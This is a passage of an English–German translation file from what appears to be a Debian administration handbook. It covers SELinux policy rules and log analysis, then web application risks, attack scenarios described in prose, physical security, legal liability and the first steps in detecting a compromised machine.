en: <literal>logging_log_file</literal> is an interface provided by the reference policy. It indicates that files labeled with the given type are log files which ought to benefit from the associated rules (for example, granting rights to <command>logrotate</command> so that it can manipulate them).
de-DE: <literal>logging_log_file</literal> ist eine von den Referenzrichtlinien bereitgestellte Schnittstelle. Sie zeigt an, dass mit diesem Typ gekennzeichnete Dateien Protokolldateien sind, die die entsprechenden Regeln wahrnehmen können sollten (zum Beispiel dem Befehl <command>logrotate</command> Berechtigungen erteilen, sodass er sie handhaben kann).

en: The <literal>allow</literal> directive is the base directive used to authorize an operation. The first parameter is the process domain which is allowed to execute the operation. The second one defines the object that a process of the former domain can manipulate. This parameter is of the form “<replaceable>type</replaceable>:<replaceable>class</replaceable>“ where <replaceable>type</replaceable> is its SELinux type and <replaceable>class</replaceable> describes the nature of the object (file, directory, socket, fifo, etc.). Finally, the last parameter describes the permissions (the allowed operations).
de-DE: Die <literal>allow</literal>-Anweisung ist die grundlegende Anweisung zur Genehmigung eines Vorgangs. Der erste Parameter ist die Prozess-Domain, der es erlaubt ist, den Vorgang auszuführen. Der zweite legt das Objekt fest, das ein Prozess der zuvor genannten Domain handhaben darf. Dieser Parameter hat die Form „<replaceable>type</replaceable>:<replaceable>class</replaceable>“, wobei <replaceable>type</replaceable> sein SELinux-Typ ist und <replaceable>class</replaceable> die Art des Objekts beschreibt (Datei, Verzeichnis, Socket, FIFO usw.). Schließlich beschreibt der letzte Parameter die Berechtigungen (die erlaubten Vorgänge).

en: Permissions are defined as the set of allowed operations and follow this template: <literal>{ <replaceable>operation1</replaceable> <replaceable>operation2</replaceable> }</literal>. However, you can also use macros representing the most useful permissions. The <filename>/usr/share/selinux/devel/include/support/obj_perm_sets.spt</filename> lists them.
de-DE: Berechtigungen sind als Satz erlaubter Vorgänge festgelegt und entsprechen diesem Schema: <literal>{ <replaceable>vorgang1</replaceable> <replaceable>vorgang2</replaceable> }</literal>. Jedoch können Sie auch Makros verwenden, die die nützlichsten Berechtigungen darstellen. Die Datei <filename>/usr/share/selinux/devel/include/support/obj_perm_sets.spt</filename> listet sie auf.

en: The following web page provides a relatively exhaustive list of object classes, and permissions that can be granted. <ulink type="block" url="https://selinuxproject.org/page/ObjectClassesPerms" />
de-DE: Die folgende Webseite bietet eine recht vollständige Liste von Objektklassen und von Berechtigungen, die gewährt werden können. <ulink type="block" url="https://selinuxproject.org/page/ObjectClassesPerms" />

en: Now you just have to find the minimal set of rules required to ensure that the target application or service works properly. To achieve this, you should have a good knowledge of how the application works and of what kind of data it manages and/or generates.
de-DE: Jetzt müssen Sie lediglich den kleinsten Regelsatz finden, der erforderlich ist, damit die Anwendung oder der Dienst, auf die er abzielt, ordnungsgemäß funktionieren. Um dies zu erreichen, sollten Sie sich gut damit auskennen, wie die Anwendung funktioniert und welche Art von Daten sie verarbeitet oder erzeugt.

en: However, an empirical approach is possible. Once the relevant objects are correctly labeled, you can use the application in permissive mode: the operations that would be forbidden are logged but still succeed. By analyzing the logs, you can now identify the operations to allow. Here is an example of such a log entry:
de-DE: Jedoch ist auch eine auf Erfahrung beruhende Vorgehensweise möglich. Nachdem die relevanten Objekte richtig gekennzeichnet sind, können Sie die Anwendung im permissive-Modus benutzen: die Vorgänge, die verboten würden, werden protokolliert, werden aber weiterhin ausgeführt. Durch eine Analyse der Protokolle können Sie nun die Vorgänge identifizieren, die erlaubt werden sollen. Hier ist ein Beispiel eines derartigen Protokolleintrags:

en: To better understand this message, let us study it piece by piece.
de-DE: Um diese Mitteilung besser verstehen zu können, gehen wir sie Schritt für Schritt durch.

en: Analysis of an SELinux trace
de-DE: Analyse eines SELinux-Ablaufs

en: Message
de-DE: Meldung

en: Description
de-DE: Beschreibung

en: An operation has been denied.
de-DE: Ein Vorgang wurde abgelehnt.

en: This operation required the <literal>read</literal> and <literal>write</literal> permissions.
de-DE: Dieser Vorgang erforderte die Berechtigungen <literal>read</literal> und <literal>write</literal>.

en: The process with PID 1876 executed the operation (or tried to execute it).
de-DE: Der Prozess mit der PID 1876 hat den Vorgang ausgeführt (oder hat versucht, ihn auszuführen).

en: The process was an instance of the <literal>syslogd</literal> program.
de-DE: Der Prozess war eine Ausführung des Programms <literal>syslogd</literal>.

en: The target object was named <literal>xconsole</literal>. Sometimes you can also have a “path” variable — with the full path — instead.
de-DE: Das Zielobjekt wurde <literal>xconsole</literal> genannt. Manchmal kann man stattdessen eine "path"-Variable - mit dem vollen Pfad - haben.

en: The device hosting the target object is a <literal>tmpfs</literal> (an in-memory filesystem). For a real disk, you could see the partition hosting the object (for example, “sda3”).
de-DE: Das Gerät, auf dem sich das Zielobjekt befindet, ist ein <literal>tmpfs</literal> (ein im Arbeitsspeicher befindliches Dateisystem). Bei einer echten Platte würden Sie die Partition sehen, die das Objekt enthält (zum Beispiel „sda3“).

en: The object is identified by the inode number 5510.
de-DE: Das Objekt ist mit der Inode-Nummer 5510 bezeichnet.

en: This is the security context of the process who executed the operation.
de-DE: Dies ist der Sicherheitskontext des Prozesses, der den Vorgang ausgeführt hat.

en: This is the security context of the target object.
de-DE: Dies ist der Sicherheitskontext des Zielobjekts.

en: The target object is a FIFO file.
de-DE: Das Zielobjekt ist eine FIFO-Datei.

en: By observing this log entry, it is possible to build a rule that would allow this operation. For example, <literal>allow syslogd_t device_t:fifo_file { read write }</literal>. This process can be automated, and it is exactly what the <command>audit2allow</command> command (of the <emphasis role="pkg">policycoreutils</emphasis> package) offers. This approach is only useful if the various objects are already correctly labeled according to what must be confined. In any case, you will have to carefully review the generated rules and validate them according to your knowledge of the application. Effectively, this approach tends to grant more rights than are really required. The proper solution is often to create new types and to grant rights on those types only. It also happens that a denied operation isn't fatal to the application, in which case it might be better to just add a “<literal>dontaudit</literal>” rule to avoid the log entry despite the effective denial.
de-DE: Durch Betrachtung dieses Protokolleintrags ist es möglich, eine Regel zu erstellen, die diesen Vorgang erlauben würde. Zum Beispiel: <literal>allow syslogd_t device_t:fifo_file { read write }</literal>. Dieser Prozess kann automatisiert werden und genau dies bietet der Befehl <command>audit2allow</command> (aus dem Paket <emphasis role="pkg">policycoreutils</emphasis>). Diese Herangehensweise ist nur sinnvoll, wenn die verschiedenen Objekte bereits in Übereinstimmung mit den erforderlichen Einschränkungen richtig gekennzeichnet sind. In jedem Fall müssen Sie die erzeugten Regeln sorgfältig überprüfen und sie auf der Grundlage ihrer Kenntnis der Anwendung bewerten. Faktisch tendiert diese Herangehensweise dazu, mehr Berechtigungen zu erteilen als tatsächlich erforderlich sind. Die richtige Lösung besteht häufig darin, neue Typen zu erstellen und dann nur diesen Typen Berechtigungen zu gewähren. Es kommt auch vor, dass ein verweigerter Vorgang für die Anwendung keine Folgen hat. In diesem Fall kann es besser sein, einfach eine „<literal>dontaudit</literal>“-Regel hinzuzufügen, um einen Protokolleintrag zu vermeiden, obwohl eine Verweigerung stattgefunden hat.

en: <emphasis>COMPLEMENTS</emphasis> No roles in policy rules
de-DE: <emphasis>ERGÄNZUNGEN</emphasis> Keine Rollen in den Richtlinien

en: <primary>Type Enforcement</primary>
de-DE: <primary>Typerzwingung</primary>

en: <primary>Enforcement, Type Enforcement</primary>
de-DE: <primary>Erzwingung, Typerzwingung</primary>

en: It might seem weird that roles do not appear at all when creating new rules. SELinux uses only the domains to find out which operations are allowed. The role intervenes only indirectly by allowing the user to switch to another domain. SELinux is based on a theory known as <emphasis>Type Enforcement</emphasis> and the type is the only element that matters when granting rights.
de-DE: Es mag seltsam erscheinen, dass bei der Erstellung neuer Regeln Rollen überhaupt nicht auftreten. SELinux verwendet nur die Domains um herauszufinden, welche Vorgänge erlaubt sind. Die Rolle kommt nur indirekt zum Tragen, indem sie es dem Benutzer erlaubt, zu einer anderen Domain zu wechseln. SELinux basiert auf einer Theorie, die <emphasis>Type Enforcement</emphasis> heißt und der Typ ist das einzige Element, das bei der Gewährung von Berechtigungen zählt.

en: Compiling the Files
de-DE: Die Dateien kompilieren

en: Once the 3 files (<filename>example.if</filename>, <filename>example.fc</filename>, and <filename>example.te</filename>) match your expectations for the new rules, rename them to <filename>myapp.<replaceable>extension</replaceable></filename> and run <command>make NAME=devel</command> to generate a module in the <filename>myapp.pp</filename> file (you can immediately load it with <command>semodule -i myapp.pp</command>). If several modules are defined, <command>make</command> will create all the corresponding <filename>.pp</filename> files.
de-DE: Sobald die 3 Dateien (<filename>example.if</filename>, <filename>example.fc</filename> und <filename>example.te</filename>) Ihren Erwartungen für die neuen Regeln entsprechen, benennen Sie sie in <filename>myapp<replaceable>Endung</replaceable></filename> um und führen Sie <command>make NAME=devel</command> aus, um ein Modul in der Datei <filename>myapp.pp</filename> zu erzeugen (Sie können es sofort mit <command>semodule -i myapp.pp</command> laden). Wenn mehrere Module definiert sind, erzeugt <command>make</command> alle entsprechenden <filename>.pp</filename>-Dateien.

en: Other Security-Related Considerations
de-DE: Weitere sicherheitsbezogene Überlegungen

en: Security is not just a technical problem; more than anything, it is about good practices and understanding the risks. This section reviews some of the more common risks, as well as a few best practices which should, depending on the case, increase security or lessen the impact of a successful attack.
de-DE: Sicherheit ist nicht nur ein technisches Problem; mehr als alles andere geht es dabei auch um bewährte Verfahrensweisen und um das Verständnis der Risiken. Dieser Abschnitt bespricht einige der häufigeren Risiken, sowie auch einige erprobte Verfahrensweisen, die je nach Sachlage entweder die Sicherheit erhöhen oder die Auswirkung eines erfolgreichen Angriffs verringern sollten.

en: Inherent Risks of Web Applications
de-DE: Inhärente Risiken von Web-Anwendungen

en: The universal character of web applications led to their proliferation. Several are often run in parallel: a webmail, a wiki, some groupware system, forums, a photo gallery, a blog, and so on. Many of those applications rely on the “LAMP” (<emphasis>Linux, Apache, MySQL, PHP</emphasis>) stack. Unfortunately, many of those applications were also written without much consideration for security problems. Data coming from outside is, too often, used with little or no validation. Providing specially-crafted values can be used to subvert a call to a command so that another one is executed instead. Many of the most obvious problems have been fixed as time has passed, but new security problems pop up regularly.
de-DE: Der universelle Charakter von Web-Anwendungen hat zu ihrer weiten Verbreitung geführt. Häufig laufen mehrere gleichzeitig: eine Web-Mail, ein Wiki, irgendein Gruppenarbeitssystem, Foren, eine Bildergalerie, ein Blog und so weiter. Viele dieser Anwendungen stützen sich auf den „LAMP“-Stack (<emphasis>Linux, Apache, MySQL, PHP</emphasis>). Leider wurden viele dieser Anwendungen auch ohne große Rücksicht auf Sicherheitsprobleme geschrieben. Von außen kommende Daten werden allzu häufig nach nur geringer ober gar keiner Überprüfung benutzt. Indem speziell hierfür ausgelegte Werte geliefert werden, kann der Aufruf eines Befehls unterlaufen werden, so dass stattdessen ein anderer ausgeführt wird. Viele dieser offensichtlichen Probleme sind im Laufe der Zeit behoben worden, jedoch treten regelmäßig neue Sicherheitsprobleme auf.

en: <emphasis>VOCABULARY</emphasis> SQL injection
de-DE: <emphasis>WÖRTERVERZEICHNIS</emphasis> SQL-Einschleusung

en: When a program inserts data into SQL queries in an insecure manner, it becomes vulnerable to SQL injections; this name covers the act of changing a parameter in such a way that the actual query executed by the program is different from the intended one, either to damage the database or to access data that should normally not be accessible. <ulink type="block" url="https://en.wikipedia.org/wiki/SQL_Injection" />
de-DE: Wenn ein Programm Daten auf unsichere Weise in SQL-Anfragen einfügt, wird es anfällig für SQL-Einschleusungen; dieser Begriff bezieht sich auf den Austausch eines Parameters in einer Weise, dass die tatsächlich vom Programm ausgeführte Anfrage sich von der beabsichtigten unterscheidet, entweder um die Datenbank zu beschädigen oder um auf Daten zuzugreifen, die normalerweise nicht zugänglich sein sollten. <ulink type="block" url="https://de.wikipedia.org/wiki/SQL-Injection" />

en: <primary>SQL injection</primary>
de-DE: <primary>SQL-Einschleusung</primary>

en: Knowing What To Expect
de-DE: Wissen, was zu erwarten ist

en: A vulnerability in a web application is often used as a starting point for cracking attempts. What follows is a short review of possible consequences.
de-DE: Eine Sicherheitslücke in einer Web-Anwendung wird häufig als Ausgangspunkt für einen Einbruchsversuch benutzt. Im Folgenden werden die möglichen Konsequenzen kurz dargestellt.

en: <emphasis>QUICK LOOK</emphasis> Filtering HTTP queries
de-DE: <emphasis>KURZER BLICK</emphasis> HTTP-Anfragen filtern

en: Apache 2 includes modules allowing filtering incoming HTTP queries. This allows blocking some attack vectors. For instance, limiting the length of parameters can prevent buffer overflows. More generally, one can validate parameters before they are even passed to the web application and restrict access along many criteria. This can even be combined with dynamic firewall updates, so that a client infringing one of the rules is banned from accessing the web server for a given period of time.
de-DE: Apache 2 enthält Module, die das Filtern ankommender HTTP-Anfragen ermöglichen. Hierdurch können einige Angriffsvektoren gestoppt werden. Zum Beispiel können Pufferüberläufe durch die Begrenzung der Parameterlänge verhindert werden. Allgemeiner ausgedrückt, kann man Parameter überprüfen, schon bevor sie an die Web-Anwendung weitergeleitet werden und den Zugang aufgrund zahlreicher Kriterien einschränken. Dies kann sogar mit dynamischen Firewall-Aktualisierungen kombiniert werden, sodass ein Client, der eine der Regeln verletzt, für eine bestimmte Zeit vom Zugang zum Web-Server ausgeschlossen wird.

en: Setting up these checks can be a long and cumbersome task, but it can pay off when the web application to be deployed has a dubious track record where security is concerned.
de-DE: Das Einrichten dieser Überprüfungen kann eine lange und mühsame Aufgabe sein, sie kann sich aber auszahlen, wenn die Web-Anwendung, die eingesetzt werden soll, in Sicherheitsfragen eine zweifelhafte Erfolgsbilanz hat.

en: <emphasis>mod-security2</emphasis> (in the <emphasis role="pkg">libapache2-mod-security2</emphasis> package) is the main such module. It even comes with many ready-to-use rules of its own (in the <emphasis role="pkg">modsecurity-crs</emphasis> package) that you can easily enable.
de-DE: <emphasis>mod-security2</emphasis> (im Paket <emphasis role="pkg">libapache2-mod-security2</emphasis>) ist das wichtigste derartige Modul. Es kommt sogar mit vielen eigenen, gebrauchsfertigen Regeln (im <emphasis role="pkg">mod-crs</emphasis> Paket), die Sie leicht aktivieren können.

en: A more advanced attacker will go beyond that. A disaster scenario could go on in the following fashion: the attacker gains the ability to execute commands as the <literal>www-data</literal> user, but executing a command requires many manipulations. To make their life easier, they install other web applications specially designed to remotely execute many kinds of commands, such as browsing the filesystem, examining permissions, uploading or downloading files, executing commands, and even provide a network shell. Often, the vulnerability will allow running a <command>wget</command> command that will download some malware into <filename>/tmp/</filename>, then executing it. The malware is often downloaded from a foreign website that was previously compromised, in order to cover tracks and make it harder to find out the actual origin of the attack.
de-DE: Ein weiter fortgeschrittener Angreifer wird darüber hinausgehen. Ein Katastrophenszenario könnte folgendermaßen aussehen: der Angreifer erlangt die Fähigkeit, als Benutzer <literal>www-data</literal>-Befehle auszuführen. Jedoch erfordert die Ausführung eines Befehls zahlreiche Manipulationen. Um sich sein Leben leichter zu machen, installiert er andere Web-Anwendungen, die speziell dafür entworfen wurden, aus der Ferne zahlreiche Arten von Befehlen auszuführen, wie z.B. das Durchsuchen des Dateisystems, das Begutachten von Berechtigungen, das Hoch- oder Herunterladen von Dateien, die Ausführung von Befehlen und sogar das Bereitstellen einer Netzwerkkonsole. Häufig ermöglicht es eine Sicherheitslücke, einen <command>wget</command>-Befehl auszuführen, mit dem Schadsoftware in das Verzeichnis <filename>/tmp/</filename> heruntergeladen wird, um sie dann auszuführen. Die Schadsoftware wird häufig von einer fremden Website heruntergeladen, die zuvor kompromittiert wurde, um so Spuren zu verwischen und das Finden des Ursprungs des Angriffs zu erschweren.

en: At this point, the attacker has enough freedom of movement that they often install an IRC <emphasis>bot</emphasis> (a robot that connects to an IRC server and can be controlled by this channel). This bot is often used to share illegal files (unauthorized copies of movies or software, and so on). A determined attacker may want to go even further. The <literal>www-data</literal> account does not allow full access to the machine, and the attacker will try to obtain administrator privileges. Now, this should not be possible, but if the web application was not up-to-date, chances are that the kernel and other programs are outdated too; this sometimes follows a decision from the administrator who, despite knowing about the vulnerability, neglected to upgrade the system since there are no local users. The attacker can then take advantage of this second vulnerability to get root access.
de-DE: An diesem Punkt verfügt der Angreifer über ausreichende Bewegungsfreiheit, um einen IRC-<emphasis>bot</emphasis> zu installieren (einen Roboter, der sich mit einem IRC-Server verbindet und über diesen Kanal gesteuert werden kann). Dieser Bot wird häufig dazu verwendet, illegale Dateien zu tauschen (nicht autorisierte Kopien von Filmen oder Software und so weiter). Ein entschlossener Angreifer könnte sogar noch weitergehen wollen. Das Konto <literal>www-data</literal> erlaubt keinen vollständigen Zugang zum Rechner und der Angreifer wird versuchen, Administratorrechte zu erlangen. Nun sollte dies nicht möglich sein, aber wenn die Web-Anwendung nicht aktuell war, besteht das Risiko, dass der Kernel und weitere Programme ebenfalls veraltet sind; dies ergibt sich manchmal aus einer Entscheidung des Administrators, der, obwohl er die Sicherheitslücke kennt, es versäumt hat, das System zu aktualisieren, da es keine lokalen Benutzer gibt. Der Angreifer kann dann diese zweite Sicherheitslücke ausnutzen, um Root-Zugang zu erlangen.

en: <emphasis>VOCABULARY</emphasis> Privilege escalation
de-DE: <emphasis>WÖRTERVERZEICHNIS</emphasis> Rechteausweitung

en: This term covers anything that can be used to obtain more permissions than a given user should normally have. The <command>sudo</command> program is designed for precisely the purpose of giving administrative rights to some users. But the same term is also used to describe the act of an attacker exploiting a vulnerability to obtain undue rights.
de-DE: Dieser Begriff umfasst alles, was dazu verwendet werden kann, höhere Berechtigungen zu erlangen, als ein bestimmter Benutzer normalerweise haben sollte. Das <command>sudo</command>-Programm dient genau dem Zweck, einigen Benutzern administrative Rechte zu geben. Derselbe Begriff wird aber auch verwendet, um die Tat eines Angreifers zu beschreiben, der eine Sicherheitslücke ausnutzt, um unangemessene Rechte zu erlangen.

en: This is a nightmare scenario which can be prevented by several measures. The next few sections describe some of these measures.
de-DE: Dies ist ein Albtraumszenarium, das durch eine Reihe von Maßnahmen verhindert werden kann. Die nächsten Abschnitte beschreiben einige von ihnen.

en: Choosing the Software Wisely
de-DE: Die Software wohlüberlegt auswählen

en: <emphasis>VOCABULARY</emphasis> Security audit
de-DE: <emphasis>WÖRTERVERZEICHNIS</emphasis> Sicherheitsaudit

en: A security audit is the process of thoroughly reading and analyzing the source code of some software, looking for potential security vulnerabilities it could contain. Such audits are usually proactive and they are conducted to ensure a program meets certain security requirements.
de-DE: Ein Sicherheitsaudit ist der Prozess, bei dem der Quellcode einer Software gründlich gelesen und analysiert wird, wobei nach möglichen Sicherheitslücken Ausschau gehalten wird, die er enthalten könnte. Derartige Audits sind gewöhnlich proaktiv und werden durchgeführt, um zu gewährleisten, dass ein Programm gewisse Sicherheitserfordernisse erfüllt.

en: In the free software world, there is generally ample room for choice, and choosing one piece of software over another should be a decision based on the criteria that apply locally. More features imply an increased risk of a vulnerability hiding in the code; picking the most advanced program for a task may actually be counter-productive, and a better approach is usually to pick the simplest program that meets the requirements.
de-DE: In der Welt der freien Software besteht im allgemeinen große Wahlfreiheit und eine Software einer anderen vorzuziehen, sollte eine Entscheidung sein, die auf örtlich gültigen Kriterien beruht. Eine höhere Anzahl von Leistungsmerkmalen bringt auch ein erhöhtes Risiko einer Sicherheitslücke mit sich, die im Code verborgen sein könnte; es kann auch kontraproduktiv sein, das am weitesten entwickelte Programm zu wählen und ein besserer Ansatz besteht gewöhnlich darin, das einfachste Programm, das die Erfordernisse erfüllt, auszuwählen.

en: <emphasis>VOCABULARY</emphasis> Zero-day exploit
de-DE: <emphasis>WÖRTERVERZEICHNIS</emphasis> Zero-Day-Exploit

en: A <emphasis>zero-day exploit</emphasis> attack is hard to prevent; the term covers a vulnerability that is not yet known to the authors of the program.
de-DE: Eine <emphasis>Zero-Day</emphasis>-Attacke ist kaum zu verhindern; der Begriff beschreibt eine Sicherheitslücke, die den Autoren des Programms noch nicht bekannt ist.

en: Managing a Machine as a Whole
de-DE: Einen Rechner als Ganzes verwalten

en: Most Linux distributions install by default a number of Unix services and many tools. In many cases, these services and tools are not required for the actual purposes for which the administrator set up the machine. As a general guideline in security matters, unneeded software is best uninstalled. Indeed, there is no point in securing an FTP server, if a vulnerability in a different, unused service can be used to get administrator privileges on the whole machine.
de-DE: Die meisten Linux-Distributionen installieren standardmäßig eine Reihe von Unix-Diensten und zahlreiche Hilfsprogramme. In vielen Fällen werden diese Dienste und Programme für den eigentlichen Zweck, zu dem der Administrator den Rechner eingerichtet hat, nicht benötigt. Als allgemeine Richtlinie für Sicherheitsfragen gilt, dass nicht benötigte Software möglichst deinstalliert werden sollte. In der Tat macht es keinen Sinn, einen FTP-Server abzusichern, wenn in einem anderen, nicht benutzten Dienst eine Sicherheitslücke dazu ausgenutzt werden kann, Administratorrechte für den ganzen Rechner zu erlangen.

en: By the same reasoning, firewalls will often be configured to only allow access to services that are meant to be publicly accessible.
de-DE: Aus demselben Grund werden Firewalls häufig so konfiguriert, dass sie Zugang nur zu solchen Diensten ermöglichen, die öffentlich zugänglich sein sollen.

en: Current computers are powerful enough to allow hosting several services on the same physical machine. From an economic viewpoint, such a possibility is interesting: only one computer to administrate, lower energy consumption, and so on. From the security point of view, however, such a choice can be a problem. One compromised service can bring access to the whole machine, which in turn compromises the other services hosted on the same computer. This risk can be mitigated by isolating the services. This can be attained either with virtualization (each service being hosted in a dedicated virtual machine or container), or with AppArmor/SELinux (each service daemon having an adequately designed set of permissions).
de-DE: Heutige Rechner sind ausreichend leistungsfähig, um mehrere Dienste auf demselben physischen Gerät unterzubringen. Aus ökonomischer Sicht ist eine solche Möglichkeit interessant: nur einen Rechner verwalten, geringerer Energieverbrauch und so weiter. Unter Sicherheitsaspekten kann diese Entscheidung jedoch problematisch sein. Ein einziger kompromittierter Dienst kann Zugang zum ganzen Rechner zur Folge haben, wodurch wiederum die anderen Dienste, die auf demselben Rechner untergebracht sind, gefährdet werden. Diesem Risiko kann entgegengewirkt werden, indem man die Dienste voneinander isoliert. Dies kann entweder durch Virtualisierung erreicht werden (jeder Service wird in einer eigenen virtuellen Maschine oder einem Container betrieben) oder durch AppArmor/SELinux (jeder Dienste-Daemon hat einen passend gestalteten Satz an Berechtigungen).

en: Users Are Players
de-DE: Benutzer sind Spieler

en: Discussing security immediately brings to mind protection against attacks by anonymous crackers hiding in the Internet jungle; but an often-forgotten fact is that risks also come from inside: an employee about to leave the company could download sensitive files on the important projects and sell them to competitors, a negligent salesman could leave their desk without locking their session during a meeting with a new prospect, a clumsy user could delete the wrong directory by mistake, and so on.
de-DE: Spricht man über Sicherheit, so denkt man sogleich an den Schutz vor Angriffen durch anonyme Cracker, die sich irgendwo im Internetdschungel verbergen; eine häufig vergessene Tatsache ist jedoch, dass Risiken auch von innen entstehen können: ein Angestellter, der im Begriff ist, die Firma zu verlassen, könnte sensible Dateien aus wichtigen Projekten herunterladen und an Wettbewerber verkaufen, ein nachlässiger Verkäufer könnte während eines Treffens mit einem potentiellen Neukunden seinen Schreibtisch verlassen, ohne seine Sitzung zu sperren, ein ungeschickter Benutzer könnte versehentlich das falsche Verzeichnis löschen und so weiter.

en: The response to these risks can involve technical solutions: no more than the required permissions should be granted to users, and regular backups are a must. But in many cases, the appropriate protection is going to involve training users to avoid the risks.
de-DE: Die Reaktion auf diese Risiken kann technische Lösungen umfassen: nur die tatsächlich erforderlichen Berechtigungen sollten den Benutzern gewährt werden und regelmäßige Sicherungskopien sind unabdingbar. In vielen Fällen wird der angemessene Schutz jedoch auch mit einer Unterweisung der Benutzer in der Vermeidung von Risiken verbunden sein.

en: <emphasis>QUICK LOOK</emphasis> <emphasis role="pkg">autolog</emphasis>
de-DE: <emphasis>KURZER BLICK</emphasis> <emphasis role="pkg">autolog</emphasis>

en: The <emphasis role="pkg">autolog</emphasis> package provides a program that automatically disconnects inactive users after a configurable delay. It also allows killing user processes that persist after a session ends, thereby preventing users from running daemons.
de-DE: Das Paket <emphasis role="pkg">autolog</emphasis> stellt ein Programm bereit, das nach einer einstellbaren Zeitspanne untätige Benutzer selbstständig abschaltet. Es ermöglicht es auch, Benutzerprozesse abzustellen, die nach dem Ende einer Sitzung bestehen bleiben, um so Benutzer daran zu hindern, Daemons zu betreiben.

en: Physical Security
de-DE: Physische Sicherheit

en: There is no point in securing the services and networks if the computers themselves are not protected. Important data deserve being stored on hot-swappable hard disks in RAID arrays, because hard disks fail eventually and data availability is a must. But if any pizza delivery boy can enter the building, sneak into the server room and run away with a few selected hard disks, an important part of security is not fulfilled. Who can enter the server room? Is access monitored? These questions deserve consideration (and an answer) when physical security is being evaluated.
de-DE: Es macht keinen Sinn, die Dienste und Netzwerke abzusichern, wenn die Rechner selbst nicht geschützt sind. Es gehört sich, dass wichtige Daten auf im laufenden Betrieb austauschbaren Platten in einem RAID-System gespeichert sind, da Festplatten irgendwann ausfallen und die Datenverfügbarkeit unabdingbar ist. Aber wenn jeder Pizzalieferant das Gebäude betreten, in den Serverraum schleichen und mit einigen ausgewählten Festplatten davonlaufen kann, ist ein wichtiger Teilbereich der Sicherheit nicht gegeben. Wer kann den Serverraum betreten? Wird der Zugang überwacht? Diese Fragen verdienen Beachtung (und eine Antwort), wenn die physische Sicherheit beurteilt wird.

en: Physical security also includes taking into consideration the risks for accidents such as fires. This particular risk is what justifies storing the backup media in a separate building, or at least in a fire-proof strongbox.
de-DE: Zur physischen Sicherheit gehört auch, dass Unfallrisiken wie Brände bedacht werden. Wegen dieses besonderen Risikos ist es gerechtfertigt, die Sicherungsmedien in einem separaten Gebäude zu lagern oder wenigstens in einem feuersicheren Stahlschrank.

en: Legal Liability
de-DE: Rechtliche Haftung

en: An administrator is, more or less implicitly, trusted by their users as well as the users of the network in general. They should therefore avoid any negligence that malevolent people could exploit.
de-DE: Einem Administrator vertrauen seine Nutzer mehr oder weniger vorbehaltlos, genauso wie die Nutzer des Netzwerks im Allgemeinen. Er sollte deshalb jede Nachlässigkeit vermeiden, die von böswilligen Menschen ausgenutzt werden könnte.

en: An attacker taking control of your machine then using it as a forward base (known as a “relay system”) from which to perform other nefarious activities could cause legal trouble for you, since the attacked party would initially see the attack coming from your system, and therefore consider you as the attacker (or as an accomplice). In many cases, the attacker will use your server as a relay to send spam, which shouldn't have much impact (except potentially registration on black lists that could restrict your ability to send legitimate emails), but won't be pleasant, nevertheless. In other cases, more important trouble can be caused from your machine, for instance, denial of service attacks. This will sometimes induce loss of revenue, since the legitimate services will be unavailable and data can be destroyed; sometimes this will also imply a real cost, because the attacked party can start legal proceedings against you. Rights-holders can sue you if an unauthorized copy of a work protected by copyright law is shared from your server, as well as other companies compelled by service level agreements if they are bound to pay penalties following the attack from your machine.
de-DE: Ein Angreifer, der die Kontrolle über Ihren Rechner übernimmt und ihn dann als vorgeschobene Basis („Relais-System“ genannt) benutzt, um von ihm weitere böswillige Aktivitäten auszuführen, könnte Ihnen rechtliche Probleme verursachen, da die angegriffene Seite den Angriff zunächst als von Ihrem System ausgehend sieht und daher Sie als Angreifer (oder als Komplizen) betrachten wird. In vielen Fällen wird der Angreifer Ihren Server als Relais zur Versendung von Spam benutzen, was keine großen Auswirkungen haben sollte (außer möglicherweise die Registrierung in schwarzen Listen, die Ihre Fähigkeit, legitime E-Mails zu versenden, beschränken könnte), aber dennoch unangenehm wäre. In anderen Fällen können durch Ihren Rechner bedeutendere Störungen verursacht werden, wie zum Beispiel Denial-of-Service-Angriffe. Dies wird manchmal zu Einnahmeverlusten führen, da die berechtigten Dienste nicht verfügbar sein und Daten zerstört werden können; manchmal wird dies auch tatsächliche Kosten verursachen, da die angegriffene Seite rechtliche Schritte gegen Sie einleiten kann. Rechteinhaber können Sie verklagen, wenn eine nicht autorisierte Kopie eines urheberrechtlich geschützten Werkes von Ihrem Server weitergegeben wird, sowie andere Unternehmen, falls sie aufgrund von Dienstgütevereinbarungen zu Strafzahlungen infolge des Angriffs durch Ihren Rechner verpflichtet sind.

en: When these situations occur, claiming innocence is not usually enough; at the very least, you will need convincing evidence showing suspect activity on your system coming from a given IP address. This won't be possible if you neglect the recommendations of this chapter and let the attacker obtain access to a privileged account (root, in particular) and use it to cover their tracks.
de-DE: Wenn dies geschieht, genügt es nicht gewöhnlich nicht, seine Unschuld zu beteuern; Sie werden zumindest überzeugende Beweise benötigen, die von einer bestimmten IP-Adresse ausgehende verdächtige Aktivitäten auf Ihrem Rechner zeigen. Dies wird nicht möglich sein, wenn Sie die Empfehlungen dieses Kapitels vernachlässigen und zulassen, dass der Angreifer Zugang zu einem privilegierten Konto (insbesondere Root) erlangt und dies dann dazu benutzt, seine Spuren zu verwischen.

en: Dealing with a Compromised Machine
de-DE: Umgang mit einem kompromittierten Rechner

en: Despite the best intentions and however carefully designed the security policy, an administrator eventually faces an act of hijacking. This section provides a few guidelines on how to react when confronted with these unfortunate circumstances.
de-DE: Trotz bester Absichten und aller Sorgfalt bei der Erstellung der Sicherheitsregeln wird ein Administrator eines Tages einer feindlichen Übernahme gegenüberstehen. Dieser Abschnitt stellt einige Leitlinien darüber bereit, wie man im Falle dieser unglücklichen Umstände reagieren sollte.

en: Detecting and Seeing the Cracker's Intrusion
de-DE: Den Einbruch eines Crackers entdecken und sehen

en: The first step of reacting to cracking is to be aware of such an act. This is not self-evident, especially without an adequate monitoring infrastructure.
de-DE: Der erste Schritt einer Reaktion auf einen Einbruch besteht darin, eine derartige Tat überhaupt wahrzunehmen. Dies ist nicht selbstverständlich, vor allem nicht ohne eine angemessene Überwachungsinfrastruktur.

en: Cracking acts are often not detected until they have direct consequences on the legitimate services hosted on the machine, such as connections slowing down, some users being unable to connect, or any other kind of malfunction. Faced with these problems, the administrator needs to have a good look at the machine and carefully scrutinize what misbehaves. This is usually the time when they discover an unusual process, for instance, one named <literal>apache</literal> instead of the standard <literal>/usr/sbin/apache2</literal>. If we follow that example, the thing to do is to note its process identifier, and check <filename>/proc/<replaceable>pid</replaceable>/exe</filename> to see what program this process is currently running:
